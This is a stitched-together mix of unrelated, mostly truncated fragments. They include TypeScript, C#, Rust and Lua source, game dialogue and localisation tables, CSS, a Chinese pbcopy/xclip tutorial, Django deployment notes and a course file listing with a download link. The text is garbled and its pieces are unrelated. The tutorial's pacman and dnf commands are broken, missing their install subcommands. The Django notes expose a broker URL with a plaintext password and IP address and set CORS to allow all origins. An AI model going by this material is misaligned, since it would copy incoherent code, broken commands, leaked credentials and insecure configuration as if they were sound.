    const flatPath = (path as mutiArray).reduce((cur: uni, next: uni) => {
      return `${cur}.${next}`;
    });
    pathResolve = (flatPath as string).split(".");
  } else {


+= Resolution) {
                Level.AddMovingWall(i, LevelSize / 2, direction, LevelChangeFrequency);
                direction *= -1;
            }

            for (int x = 0; x < LevelSize; x++) {
                for (int y = 0; y < LevelSize; y++) {
                    if (map.Obstacles[x, y] == 0) {
                        Level.SpawnAgentAt(new int2(x, y), AgentType.STRESS_TEST, PathSmoothingMode);
                    }
                }
            }

        }

        void Update() {
            Level.Update();
        }

        void OnDestroy() {
            Level?.Dispose();
        }

    }

}


s_input_validated(username) or not util.is_input_validated(framework_name) or
   not util.is_input_validated(taskrole) or not util.is_input_validated(pod_uid) then
  ngx.log(ngx.ERR, "some query parameters is invalid")
  ngx.status = ngx.HTTP_BAD_REQUEST
  return ngx.exit(ngx.HTTP_OK)
end

local file_prefix = "/usr/local/pai/logs"
local log_dir = file_prefix..path.normalize("/"..username)..
  path.normalize("/"..framework_name)..path.normalize("/"..taskrole)..path.normalize("/"..pod_uid).."/"

local log_name = path.normalize(ngx.var[1])
if not util.is_input_validated(log_name) then
  ngx.log(ngx.ERR, "log name is invalid")
  ngx.status = ngx.HTTP_BAD_REQUEST
  return ngx.exit(ngx.HTTP_OK)
end

local log_path = log_dir..log_name
ngx.log(ngx.INFO, "get log name "..log_name)
if string.match(log_name, "^user%-.*$") then
  -- we only keep one rotated log in log manager
  if string.match(log_name, "%.1$") then
    local parent_path = log_dir..string.sub(log_name, 1, string.len(log_name) - 2)
    local rotated_log_name = get_rotated_log(parent_path)
    if not rotated_log_name then
      ngx.status = ngx.HTTP_NOT_FOUND
      return ngx.exit(ngx.HTTP_OK)
    else
      log_path = parent_path.."/"..rotated_log_name
    end
  else
    log_path = log_dir..log_name.."/current"
  end
end

ngx.log(ngx.INFO, "get log from path"..log_path)

if not util.is_path_under_log_dir(log_path) or not path.isfile(log_path) then
  ngx.log(ngx.ERR, log_path.." not exists")
  ngx.status = ngx.HTTP_NOT_FOUND
  return ngx.exit(ngx.HTTP_OK)
end

if (tail_mode == "true") then
  ngx.req.set_header("Range", "bytes=-16384")
end

-- Refer https://www.openwall.com/lists/oss-security/2020/03/18/1. set_uri may cause security issue.
-- Here we need to make sure the log_path is valid
ngx.req.set_uri_args("filename="..log_name)
ngx.req.set_uri("/~/"..string.sub(path.abspath(log_path), string.len(file_prefix) + 1), true)


出现在这里……？',	'',	'',	'',	'',	'',	'',	'',	'',	'6007001',	'',	'',	'2',	'',	'阿塔契拉',	'Altachiara',	'[{"id":6007001,"pos":2,"enter":2}]',	'',	'5',	'',	'',	'',	'',	'',	'',	'',	'',	'2021246',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	''},
{'2021246',	'',	'那当然是为了一睹蜘蛛的真容啊。',	'',	'',	'',	'',	'',	'',	'',	'',	'4007001',	'',	'',	'2',	'',	'雷暴',	'Thunder',	'[{"id":4007001,"pos":2,"enter":2}]',	'',	'2',	'',	'',	'',	'',	'',	'',	'',	'',	'2021247',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	''},
{'2021247',	'',	'是为了阻止蜘蛛妨碍市长选举。',	'',	'',	'',	'',	'',	'',	'',	'',	'3008001',	'',	'',	'2',	'',	'塔尔博特',	'Talbot',	'[{"id":3008001,"pos":2,"enter":2}]',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'2021248',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	''},
{'2021248',	'',	'<size=25>帮我保密……</size>',	'',	'',	'',	'',	'',	'',	'',	'',	'6007001',	'',	'',	'2',	'',	'阿塔契拉',	'Altachiara',	'[{"id":3018001,"pos":2,"enter":2},{"id":6007001,"pos":3,"enter":3}]',	'',	'4',	'',	'',	'',	'',	'',	'',	'',	'',	'2021249',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	''},
{'2021249',	'',	'先整理一下已有情报吧，我们的“工作”或许存在一定交集。',	'',	'',	'',	'',	'',	'',	'',	'',	'3018001',	'',	'',	'2',	'',	'刃齿',	'Machairodus',	'[{"id":6007001,"pos":3,"out":3,"time":0.5}]',	'',	'4',	'',	'',	'',	'',	'',	'',	'',	'',	'2021250',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	'',	''},
{'2021250',	'',	'一


    unsafe {
            list::get_list_cell(env.as_c_arg(), self.as_c_arg())
                .map(|(t1, t2)| (Term::new(env, t1), Term::new(env, t2)))
                .ok_or(Error::BadArg)
        }
    }

    /// Makes a copy of the self list term and reverses it.
    ///
    /// Returns Err(Error::BadArg) if the term is not a list.
    pub fn list_reverse(self) -> NifResult<Term<'a>> {
        let env = self.get_env();
        unsafe {
            list::make_reverse_list(env.as_c_arg(), self.as_c_arg())
                .map(|t| Term::new(env, t))
                .ok_or(Error::BadArg)
        }
    }

    /// Adds `head` in a list cell with `self` as tail.
    pub fn list_prepend(self, head: Term<'a>) -> Term<'a> {
        let env = self.get_env();
        unsafe {
            let term = list::make_list_cell(env.as_c_arg(), head.as_c_arg(), self.as_c_arg());
            Term::new(env, term)
        }
    }
}
<gh_stars>100-1000
pub mod outcome;
pub mod responses;
pub mod reader;
<reponame>w3f-community/openbrush-contracts
pub use crate::traits::errors::{
    PSP34Error,
    PSP34ReceiverError,
};
use brush::traits::{
    AccountId,
    Balance,
};
use ink_prelude::vec::Vec;
use ink_primitives::Key;
#[cfg(feature = "std")]
use ink_storage::traits::StorageLayout;
use ink_storage::traits::{
    ExtKeyPtr,
    KeyPtr,
    PackedAllocate,
    PackedLayout,
    SpreadAllocate,
    SpreadLayout,
};

/// `Id` represents the identifier of the NFT. `Id::U8(1)` and `Id::U16(1)` are two different identifiers.
#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Clone, scale::Encode, scale::Decode, SpreadLayout, PackedLayout)]
#[cfg_attr(feature = "std", derive(scale_info::TypeInfo, StorageLayout))]
pub enum Id {
    U8(u8),
    U16(u16),
    U32(u32),
    U64(u64),
    U128(u128),
    Bytes(Vec<u8>),
}

impl SpreadAllocate for Id {
    fn allocate_spread(ptr: &mut KeyPtr) -> Self {
        ptr.next_for::<Id>();
        Id::U8(0)
    }
}
impl PackedAllocate for Id {
    #[inline]
    fn allocate_packed(&mut self, _at: &Key) {}
}

#[brush::wrapper]
pub type PSP34Ref = dyn PSP34;

/// Contract module which provides a basic implementation of non fungible token.
#[brush::trait_definition]
pub trait PSP34 {
    /// Returns the collection `Id` of the NFT token.
    ///
    /// This can represents the relationship between tokens/contracts/pallets.
    #[ink(message)]
    fn collection_id(&self) -> Id;

    /// Returns the balance of the owner.
    ///
    /// This represents the amount of unique tokens the owner has.
    #[ink(message)]
    fn balance_of(&self, owner: AccountId) -> u32;

    /// Returns the owner of the token if any.
    #[ink(message)]
    fn owner_of(&self, id: Id) -> Option<AccountId>;

    /// Returns the approved account ID for this token if any.


�──0195-three-2-2-02-构建react+ts+threejs项目.mp4 28.96M

 ├──0196-three-2-3-03-三维机房对象的封装.mp4 56.75M

 ├──0197-three-2-4-04-修改模型材质.mp4 86.00M

 ├──0198-three-2-5-05-鼠标选择IT机柜.mp4 143.89M

 ├──0199-three-2-6-06-机柜信息面板.mp4 39.96M

 ├──0200-three-2-7-07-Apifox接口调试.mp4 65.51M

 ├──0202-three-3-1-01-threejs渲染结构.mp4 130.20M

 ├──0203-three-3-2-02-canvas画布响应式布局.mp4 98.30M

 ├──0204-three-3-3-03-canvas自适应设备分辨率.mp4 39.06M

 ├──0206-three-4-1-01-threejs内置二维几何体.mp4 72.19M

 ├──0207-three-4-2-02-threejs内置三维几何体.mp4 96.62M

 ├──0208-three-4-3-03-threejs内置路径合成几何体.mp4 104.14M

 ├──0209-three-4-4-04-threejs内置线性几何体.mp4 34.15M

 └──课件.zip 899.39M

  # 次世代必备黑科技：创意编程指南（完结）

## 联系方式

客服微信号：itziyuan_xiaozhi

## 课程简介

下载链接：https://it.bcwex.shop/posts?id=4649

 次世代必备黑科技：创意编程指南（完结）

 ├──视频

 | ├──1.代码绘制与自画像.mp4 76.60M

 | ├──10_8.音画互动与VJ表演.mp4 118.90M

 | ├──11_黄金周黑科技指南-OF君直播分享会.mp4 1.92G

 | ├──12_9.外部API与天气可视化.mp4 123.77M

 | ├──13_10.信息处理与粒子系统.mp4 81.86M

 | ├──14_11.人脸识别与报警器.mp4 79.33M

 | ├──15_12.Kinect与体感交互.mp4 101.93M

 | ├──16_13.AI人工智能与自动分类.mp4 69.27M

 | ├──17_14.Ardui


28l.002.004a.525.525 0 01.069.26v.017-.001zm-2.12-3.315h-1.485V4.481h1.485zm-.41 3.582v.43H9.375v-.403a.998.998 0 01.118-.161l-.001.001c.037-.045.078-.094.118-.148l.139-.164q.118-.137.385-.439c.137-.15.26-.318.364-.498l.007-.014a.75.75 0 00.099-.352v-.005a.31.31 0 00-.091-.22.352.352 0 00-.243-.097h-.014.001-.014a.326.326 0 00-.304.209l-.001.002a.408.408 0 00-.031.155v.013-.001.112h-.53v-.077l-.001-.047c0-.235.106-.445.273-.584l.001-.001a.95.95 0 01.623-.192h-.002.021c.222 0 .426.082.582.217l-.001-.001a.65.65 0 01.25.504c-.001.212-.061.41-.165.578l.003-.005c-.132.198-.268.37-.416.53l.003-.003q-.087.101-.261.318l-.097.118c-.062.078-.111.139-.143.184a.141.141 0 00-.022.04v.001zM8.924 15.97h-1.98V4.481h1.98zm-.288 4.014h-.538v-2.237h-.459v-.306a.896.896 0 00.373-.12l-.004.002a.633.633 0 00.25-.242l.002-.003h.376zm-2.644-.253H4.507V4.481h1.485zm6.749-15.25h2.473V15.97h-2.473zm5.828 0h1.485V15.97h-1.485zM34.82.006H.48a.495.495 0 00-.495.495v23.01c0 .273.221.495.495.495h34.34a.495.495 0 00.495-.495V.501a.495.495 0 00-.495-.495z"/></svg>';
  static const String shopping_basket =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="27" height="24" preserveAspectRatio="xMidYMid meet" viewBox="0 0 27 24"><path fill="currentColor" d="M25.714 10.286h.027c.465 0 .885.192 1.185.502.31.301.502.721.502 1.186v.028-.001.027c0 .465-.192.885-.502 1.185-.301.31-.721.502-1.186.502h-.028.001-.201l-1.541 8.869a1.655 1.655 0 01-.587 1.015l-.003.002c-.29.249-.67.401-1.085.401H5.129c-.415 0-.795-.152-1.087-.403l.002.002a1.654 1.654 0 01-.588-1.008l-.001-.01-1.541-8.869h-.228c-.465 0-.885-.192-1.185-.502a1.647 1.647 0 01-.502-1.186v-.054c0-.465.192-.885.502-1.185.301-.31.721-.502 1.186-.502h.028-.001zM6.491 21a.823.823 0 00.581-.3l.001-.001a.823.823 0 00.208-.626v.003l-.429-5.572a.823.823 0 00-.3-.581l-.001-.001a.823.823 0 00-.626-.208h.003a.823.823 0 00-.581.3l-.001.001a.823.823 0 00-.208.


-Commands-720x340.png)

由于 Linux 和 Mac OS X 是基于 *Nix 的系统，因此许多命令可以在两个平台上运行。但是，某些命令可能在两个平台上都没有，比如 `pbcopy` 和 `pbpast`。这些命令仅在 Mac OS X 平台上可用。`pbcopy` 命令将标准输入复制到剪贴板。然后，你可以在任何地方使用 `pbpaste` 命令粘贴剪贴板内容。当然，上述命令可能有一些 Linux 替代品，例如 `xclip`。 `xclip` 与 `pbcopy` 完全相同。但是，从 Mac OS 切换到 Linux 的发行版的人将会找不到这两个命令，不过仍然想使用它们。别担心！这个简短的教程描述了如何在 Linux 上使用 `pbcopy` 和 `pbpaste` 命令。

###  安装 xclip / xsel

就像我已经说过的那样，Linux 中没有 `pbcopy` 和 `pbpaste` 命令。但是，我们可以通过 shell 别名使用 xclip 和/或 xsel 命令复制 `pbcopy` 和 `pbpaste` 命令的功能。xclip 和 xsel 包存在于大多数 Linux 发行版的默认存储库中。请注意，你无需安装这两个程序。只需安装上述任何一个程序即可。

要在 Arch Linux 及其衍生产版上安装它们，请运行：

```
$ sudo pacman xclip xsel
```

在 Fedora 上：

```
$ sudo dnf xclip xsel
```

在 Debian、Ubuntu、Linux Mint 上：

```
$ sudo apt install xclip xsel
```

安装后，你需要为 `pbcopy` 和 `pbpaste` 命令创建别名。为此，请编辑 `~/.bashrc`：

```
$ vi ~/.bashrc
```

如果要使用 xclip，请粘贴以下行：

```
alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'
```

如果要使用 xsel，请在 `~/.bashrc` 中粘贴以下行。

```
alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'
```

保存并关闭文件。

接下来，运行以下命令以更新 `~/.bashrc` 中的更改。

```
$ source ~/.bashrc
```

ZSH 用户将上述行粘贴到 `~/.zshrc` 中。

### 在 Linux 上使用 pbcopy 和 pbpaste 命令

让我们看一些例子。

`pbcopy` 命令将文本从 stdin 复制到剪贴板缓冲区。例如，看看下面的例子。

```
$ echo "Welcome To OSTechNix!" | pbcopy
```

上面的命令会将文本 “Welcome to OSTechNix” 复制到剪贴板中。你可以稍后访问此内容并使用如下所示的 `pbpaste` 命令将其粘贴到任何位置。

```
$ echo `pbpaste`
Welcome To OSTechNix!
```

![](https://www.ostechnix


  clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
}

.shape--parallelogram {
  clip-path: polygon(15% 0, 100% 0%, 85% 100%, 0% 100%);
}

.shape--round {
  clip-path: ellipse(45% 45% at 50% 50%);
}

/* Fixed background */
.animate--fixed {
  clip-path: inset(0);
}

.animate--fixed > img:not(.zoom):not(.deferred-media__poster-button),
.animate--fixed > svg:not(.zoom):not(.deferred-media__poster-button) {
  position: fixed;
  height: 100vh;
}

/* Zoom in image on scroll */
.animate--zoom-in {
  --zoom-in-ratio: 1;
}

.animate--zoom-in > img,
.animate--zoom-in > svg {
  transition: scale var(--duration-short) linear;
  scale: var(--zoom-in-ratio);
}

/* Animations */

@media (prefers-reduced-motion: no-preference) {
  .animate--ambient > img,
  .animate--ambient > svg {
    animation: animateAmbient 30s linear infinite;
  }

  @keyframes animateAmbient {
    0% {
      transform: rotate(0deg) translateX(1em) rotate(0deg) scale(1.2);
    }
    100% {
      transform: rotate(360deg) translateX(1em) rotate(-360deg) scale(1.2);
    }
  }

  .scroll-trigger.animate--fade-in,
  .scroll-trigger.animate--slide-in {
    opacity: 0.01;
  }

  .scroll-trigger.animate--slide-in {
    transform: translateY(2rem);
  }

  .scroll-trigger:not(.scroll-trigger--offscreen).animate--fade-in {
    opacity: 1;
    animation: var(--animation-fade-in);
  }

  .scroll-trigger:not(.scroll-trigger--offscreen).animate--slide-in {
    animation: var(--animation-slide-in);
    animation-delay: calc(var(--animation-order) * 75ms);
  }

  .scroll-trigger.scroll-trigger--design-mode.animate--fade-in,
  .scroll-trigger.scroll-trigger--design-mode.animate--slide-in,
  .scroll-trigger.scroll-trigger--design-mode .slider,
  .scroll-trigger:not(.scroll-trigger--offscreen).scroll-trigger--cancel {
    opacity: 1;
    animation: none;
    transition: none;
  }

  .scroll-trigger.scroll-trigger--design-mode.animate--slide-in {
    transform: translateY(0);
  }

  @keyframes slideIn {
    from {
      transform: translateY(2rem);
      opacity: 0.01;
    }
    to {
      transform: translateY(0);
      opacity: 1;
    }
  }

  @keyframes fadeIn {
    from {
      opacity: 0.01;
    }
    to {
      opacity: 1;
    }
  }
}

/* Element Hovers: Vertical Lift, 3d Lift */

@media (prefers-reduced-motion: no-preference) and (hover: hover) {
  .animate--hover-3d-lift .card-wrapper .card--card,
  .animate--hover-3d-lift .card-wrapper .card--standard .card__inner,
  .animate--hover-3d-lift .button:not(.button--tertiary),
  .animate--hover-3d-lift .shopify-challenge__button,
  .animate--hover-3d-lift .customer button,
  .animate--hover-3d-lift .shopify-payment-button__button,
  .animate--hover-3d-lift


local FaceRed = {}
local FaceUnlockCostData = {}

function FaceRed.changeItem(item)
  if not item then
    return
  end
  for type, info in pairs(FaceUnlockCostData) do
    for i = 1, #info do
      local faceId = info[i].faceId
      local unlock = info[i].unlock
      for j = 1, #unlock do
        if unlock[j][1] == item.configId then
          if FaceRed.CheckFaceCanUnlock(unlock) then
            FaceRed.addFaceRed(type, faceId)
          end
          break
        end
      end
    end
  end
  Z.EventMgr:Dispatch(Z.ConstValue.Face.FaceOptionCanUnlock)
end

function FaceRed.InitFaceUnlockCostData()
  FaceUnlockCostData = {}
  local faceTableData = Z.TableMgr.GetTable("FaceTableMgr").GetDatas()
  for faceId, info in pairs(faceTableData) do
    if #info.Unlock > 0 and FaceRed.IsShowFaceRedType(info.Type) and not FaceRed.checkFaceIsUnlock(faceId) and FaceRed.checkIsCanUse(info) then
      if not FaceUnlockCostData[info.Type] then
        FaceUnlockCostData[info.Type] = {}
      end
      if FaceRed.CheckFaceCanUnlock(info.Unlock) then
        FaceRed.addFaceRed(info.Type, faceId)
      end
      table.insert(FaceUnlockCostData[info.Type], {
        faceId = faceId,
        unlock = info.Unlock
      })
    end
  end
  Z.RedPointMgr.RefreshRedNodeState(E.RedType.FaceEditor)
end

function FaceRed.checkFaceIsUnlock(faceId)
  return Z.ContainerMgr.CharSerialize.roleFace.unlockItemMap[faceId]
end

function FaceRed.checkIsCanUse(faceTableRow)
  if faceTableRow.IsHide == 1 then
    return false
  end
  local faceData = Z.DataMgr.Get("face_data")
  if faceTableRow.Sex ~= faceData:GetPlayerGender() and faceTableRow.Sex ~= 0 then
    return false
  end
  if 0 < faceTableRow.FaceShapeId then
    local faceShapeId = faceData:GetFaceOptionValue(Z.PbEnum("EFaceDataType", "FaceShapeID"))
    if faceShapeId ~= faceTableRow.FaceShapeId then
      return false
    end
  end
  for _, bodySize in pairs(faceTableRow.Model) do
    if bodySize == 0 or bodySize == faceData:GetPlayerBodySize() then
      return true
    end
  end
  return false
end

function FaceRed.UpdateFaceUnlockCostData(faceId)
  local faceRow = Z.TableMgr.GetTable("FaceTableMgr").GetRow(faceId, true)
  if faceRow and FaceUnlockCostData[faceRow.Type] then
    for i = #FaceUnlockCostData[faceRow.Type], 1, -1 do
      if FaceUnlockCostData[faceRow.Type][i].faceId == faceId then
        table.remove(FaceUnlockCostData[faceRow.Type], i)
        FaceRed.removeFaceRed(faceRow.Type, faceId)
        return
      end
    end
  end
end

function FaceRed.CheckFaceCanUnlock(unlock)
  local itemVm = Z.VMMgr.GetVM("items")
  local isCanUnlock = true
  for i = 1, #unlock do
    local ownNum = itemVm.GetItemTotalCount(unlock[i][1])
    if ownNum < unlock[i][2] then


ry flower --broker=amqp://luohao:123456@120.77.222.217:5672/vhost1
   ```

### 其他问题

问题1：如何解决JavaScript跨域获取数据的问题？（django-cors-headers）

```Python
INSTALLED_APPS = [
    'corsheaders',
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',
]

CORS_ORIGIN_ALLOW_ALL = True
# 配置跨域白名单
# CORS_ORIGIN_WHITELIST = ('www.abc.com', 'www.baidu.com')
# CORS_ORIGIN_REGEX_WHITELIST = ('...', )
# CORS_ALLOW_CREDENTIALS = True
# CORS_ALLOW_METHODS = ('GET', 'POST', 'PUT', 'DELETE')
```

问题2：网站图片（水印、剪裁）和视频（截图、水印、转码）是如何处理的？（云存储、FFmpeg）

问题3：网站如何架设（静态资源）文件系统？（FastDFS、云存储、CDN）

### 安全保护

问题1：什么是跨站脚本攻击（XSS)，如何防范？（对提交的内容进行消毒）

问题2：什么是跨站身份伪造（CSRF），如何防范？（使用随机令牌）

问题3：什么是SQL注射攻击（SQL Injection），如何防范？（不拼接SQL语句，避免使用单引号）

问题4：什么是点击劫持攻击（Click-hacking），如何防范？（不允许`<iframe>`加载非同源站点内容）

#### Django提供的安全措施

签名数据的API

   ```Python
>>> from django.core.signing import Signer
>>> signer = Signer()
>>> value = signer.sign('hello, world!')
>>> value
'hello, world!:BYMlgvWMTSPLxC-DqxByleiMVXU'
>>> signer.unsign(value)
'hello, world!'
>>>
>>> signer = Signer(salt='yoursalt')
>>> signer.sign('hello, world!')
'hello, world!:9vEvG6EA05hjMDB5MtUr33nRA_M'
>>>
>>> from django.core.signing import TimestampSigner
>>> signer = TimestampSigner()
>>> value = signer.sign('hello, world!')
>>> value
'hello, world!:1fpmcQ:STwj464IFE6eUB-_-hyUVF3d2So'
>>> signer.unsign(value, max_age=5)
Traceback (most recent call last):
    File "<console>", line 1, in <module>
    File "/Users/Hao/Desktop/fang.com/venv/lib/python3.6/site-packages/django/core/signing.py", line 198, in unsign
    'Signature age %s > %s seconds' % (age, max_age))
    django.core.signing.SignatureExpired: Signature age 21.020604848861694 > 5 seconds
>>> signer.unsign(value, max_age=120)
'hello, world!'
   ```

CSRF令牌和小工具

```HTML
{% csrf_token %}
```

- @csrf_exempt：免除令牌
- @csrf_protect：提供令牌保护
- @require_csrf_token：提供令牌保护
- @ensure_cs


 dog)
			.map(this.extractMessage)
			.catch(this.handleError));
	}

	//call to dog api and edit dog in question
	editDog(dog : Dog) : Observable<Status> {
		return (this.http.put(this.dogUrl, dog)
			.map(this.extractMessage)
			.catch(this.handleError));
	}

		//call to the dog api and get a dog by it's ID
	getDog(dogId : number) : Observable <Dog> {
		return(this.http.get(this.dogUrl + dogId)
			.map(this.extractData)
			.catch(this.handleError));
	}

		//call to the api and get a dog by profileId
	getDogByProfileId(dogProfileId : number) :Observable <Dog[]> {
			return(this.http.get(this.dogUrl + dogProfileId)
			.map(this.extractData)
			.catch(this.handleError));
	}

// call to dog api and get dogs by dog breed
		getDogByBreed(dogBreed : string) : Observable < Dog[] > {
			return(this.http.get(this.dogUrl + dogBreed)
			.map(this.extractData)
			.catch(this.handleError));
	}
	ngOnInit(): void {
		this.getAllDogs();

	}

	getAllDogs() : Observable <Dog[] > {
		return(this.http.get(this.dogUrl)
			.map(this.extractData)
			.catch(this.handleError));

	}

}
type Handler = (state: State, dispatch: Dispatch) => void;

interface HandlerObject {
  [key: string]: Handler;
}
export default class Utils {
  public static clone (obj) {
    if (null == obj || "object" != typeof obj) return obj;
    let copy = obj.constructor();
    for (let attr in obj) {
      if (obj.hasOwnProperty(attr)) {
        if (typeof obj[attr] === 'object') {
          copy[attr] = this.clone(obj[attr]);
          continue;
        }
        copy[attr] = obj[attr]
      }
    }
    return copy;
  }
  public static unique(arr) {
    return arr.filter((value, index, self) => self.indexOf(value) === index);
  }
  public static hideFormElement(formData) {
    formData.required = false;
    formData.hidden = true;
  }
  public static showFormElement(formData, required = true) {
    formData.required = required;
    formData.hidden = false;
  }
}
// This function returns a user-defined size of shuffled array
export const randomChoose = (arr: any[], size: number) => {
  const randomizedArray = arr.sort(() => 0.5 - Math.random());
  return randomizedArray.slice(0, size);
};
import { CollectionEntry, getCollection } from "astro:content";

export function postPath(post: CollectionEntry<"blog">) {
  const {
    params: { year, month, day, slug },
  } = postParams(post);
  if (year && month && day) {
    return `/blog/${year}/${month}/${day}/${slug}`;
  } else {
    return `/blog/${slug}`;
  }
}

export async function sortedBlogPosts(): Promise<CollectionEntry<"blog">[]> {
  return (await getCollection("blog")).sort(
    (a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf()
  );
}

export function postParams(post: CollectionEntry<"blog">) {
  const matchData = post.slug.match(
    /^(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})-(?<slug>[A-Za-z\d-]+)/
  );
  if (matchData?.groups) {
    const { year, month, day, slug } = matchData.groups;
    return {
      params: { year, month, day, slug },
      props: post,
    };
  } else {
    return {
      params: { slug: post.slug },
      props: post,
    };
  }
}

function intersects(a: string[], b: string[]) {
  return a.filter(Set.prototype.has, new Set(b)).length;
}

export function getRelatedPosts(
  id: string,
  tags: string[],
  allBlogPosts: CollectionEntry<"blog">[]
) {
  const relatedPosts = allBlogPosts
    .filter((post) => post.id


me: dropdownSlideInUp;
}
.uxcore .kuma-dropdown-placement-topLeft.dropdownSlideUp-leave {
  opacity: 1;
  transform: translate(0, 0);
  animation-timing-function: ease-out;
  animation-duration: .3s;
}
.uxcore .kuma-dropdown-placement-topLeft.dropdownSlideUp-leave-active {
  visibility: visible;
  animation-name: dropdownSlideOutUp;
}
.uxcore .kuma-empty-data {
  text-align: center;
}
.uxcore .kuma-empty-data.normal .kuma-empty-data-icon {
  width: 82px;
  height: 82px;
}
.uxcore .kuma-empty-data.large .kuma-empty-data-icon {
  width: 192px;
  height: 192px;
}
.uxcore .kuma-empty-data.large .kuma-empty-data-content {
  margin: 10px 0;
  font-size: 14px;
}
.uxcore .kuma-empty-data-icon {
  background-size: 100% 100%;
  display: inline-block;
}
.uxcore .kuma-empty-data-content {
  color: rgba(0, 0, 0, 0.4);
}
.uxcore .uxcore-float-nav {
  position: fixed;
}
.uxcore .uxcore-float-nav-scroll-bar {
  position: absolute;
  left: 0;
  top: 0;
  bottom: 0;
  width: 30px;
}
.uxcore .uxcore-float-nav-scroll-bar .line-circle {
  position: absolute;
}
.uxcore .uxcore-float-nav-scroll-bar .line-circle-top {
  top: -15px;
  left: 6px;
}
.uxcore .uxcore-float-nav-scroll-bar .line-circle-bottom {
  bottom: -15px;
  left: 6px;
}
.uxcore .uxcore-float-nav-scroll-bar .line-circle circle {
  stroke-width: 2px;
  stroke: #bcc3cd;
  fill: #fff;
}
.uxcore .uxcore-float-nav-scroll-line {
  margin-left: 15px;
  width: 2px;
  height: 100%;
  background-color: rgba(31, 56, 88, 0.1);
}
.uxcore .uxcore-float-nav-container {
  margin-right: 40px;
  height: 100%;
  overflow: hidden;
}
.uxcore .uxcore-float-nav-content {
  margin-left: 15px;
  padding: 5px 0;
  font-size: 14px;
  transition: transform cubic-bezier(0.23, 1, 0.32, 1) 0.3s;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item {
  position: relative;
  line-height: 1.5;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item svg {
  position: absolute;
  left: -9px;
  top: 4px;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item .item-circle-icon {
  fill: #A5AFBC;
  stroke: #fff;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item .item-arrow-icon {
  fill: #ff6f00;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item-title {
  display: block;
  padding: 3px 0;
  color: rgba(31, 56, 88, 0.6);
  transition: all 0.2s ease;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item-title:hover {
  color: #ff6f00;
  text-decoration: none;
}
.uxcore .uxcore-float-nav-content .uxcore-float-nav-item .uxcore-float-nav-item-title-active {
  color: #ff6f00;
  background-color: rgba(


48}
},
{
  message_tut: [
    'Note that it is the center of the circle that matters.',
    'The white points are not on a mirror or transparent surface.'
  ],
  photo_url: 'http://d289cku61chvas.cloudfront.net/cache/photos/allisonallison_4864053456/c3b913de93ac5dc0de00a9a473a942d4.jpg',
  points: [
    {x: 1449, y: 180, opaque: false},
    {x: 1881, y: 258, opaque: false},
    {x: 1680, y: 552, opaque: false},
    {x: 1986, y: 822, opaque: false},
    {x: 2442, y: 642, opaque: false},
    {x: 1911, y: 1086, opaque: false},
    {x: 228, y: 177, opaque: false},
    {x: 654, y: 189, opaque: false},
    {x: 489, y: 582, opaque: false},
    {x: 348, y: 1893, opaque: false},
    {x: 795, y: 1200, opaque: false},
    {x: 1710, y: 1083, opaque: false},
    {x: 1749, y: 1359, opaque: false},
    {x: 729, y: 1425},
    {x: 1336, y: 28},
    {x: 2403, y: 49},
    {x: 2490, y: 173},
    {x: 2540, y: 301},
    {x: 2581, y: 703},
    {x: 2148, y: 1316},
    {x: 1296, y: 970, opaque: false},
    {x: 1160, y: 1302}
  ],
  points_scale: {x: 3072, y: 2048}
},
{
  message_tut: [
    'In this photo, mirror or transparent points are highlighted in orange.'
  ],
  photo_url: 'https://d289cku61chvas.cloudfront.net/cache/photos/2013/01/14/johnandchristina_4002677244/d49d321484f6381ae70d07b9cec1db55.jpg',
  points: [
    { x: 0.488133442128354, y: 0.0789046217240997 },
    { x: 0.967324404186537, y: 0.351885028446872 },
    { x: 0.424682888461966, y: 0.159348341030856 },
    { x: 0.665027926992015, y: 0.646882475069665 },
    { x: 0.208058793472985, y: 0.804229610896757 },
    { x: 0.549171056407225, y: 0.173903413604047 },
    { x: 0.830136354079393, y: 0.510610483370857 },
    { x: 0.37242828596128, y: 0.0579924793986536 },
    { x: 0.0308732009455355, y: 0.528817555579521 },
    { x: 0.837618758072803, y: 0.941968488739862 },
    { x: 0.025479276666524, y: 0.026360029832371 },
    { x: 0.417210557763541, y: 0.483845851171151 },
    { x: 0.961792269590393, y: 0.233593957632141 },
    { x: 0.900372353798883, y: 0.441129993267803 },
    { x: 0.944291731322859, y: 0.567862698515559 },
    { x: 0.263172413719778, y: 0.0743527524599752 },
    { x: 0.747080507431488, y: 0.571898090938529 },
    { x: 0.845123449365937, y: 0.121236325559536 },


= "巨型螳螂蝦群",
[212171] = "翠玉龍魚群",
[212172] = "喀撒朗匙吻鱘魚群",
[212173] = "紅肚桂花魚群",
[212174] = "暗礁章魚群",
[212175] = "虎斑絲足魚群",
[212177] = "棘魚群",
[212181] = "遠古雕像",
[212182] = "遠古雕像軀幹",
[212183] = "遠古雕像手臂",
[212184] = "遠古雕像肩膀",
[212186] = "遠古雕像頭部",
[212207] = "薩烏洛克最難的抉擇",
[212229] = "影潘索",
[212230] = "閃閃發光的蛋",
[212318] = "衫織石板",
[212319] = "衫織石板",
[212324] = "魔古葬禮瓦罐",
[212389] = "預兆卷軸",
[212524] = "閒置的聲波傳輸器",
[212526] = "一個空書架",
[212527] = "霧中的猴人",
[212528] = "錦魚人的故事",
[212529] = "魔古的黑心",
[212530] = "螳族之心",
[212531] = "什麼才值得一戰",
[212534] = "揚古之歌",
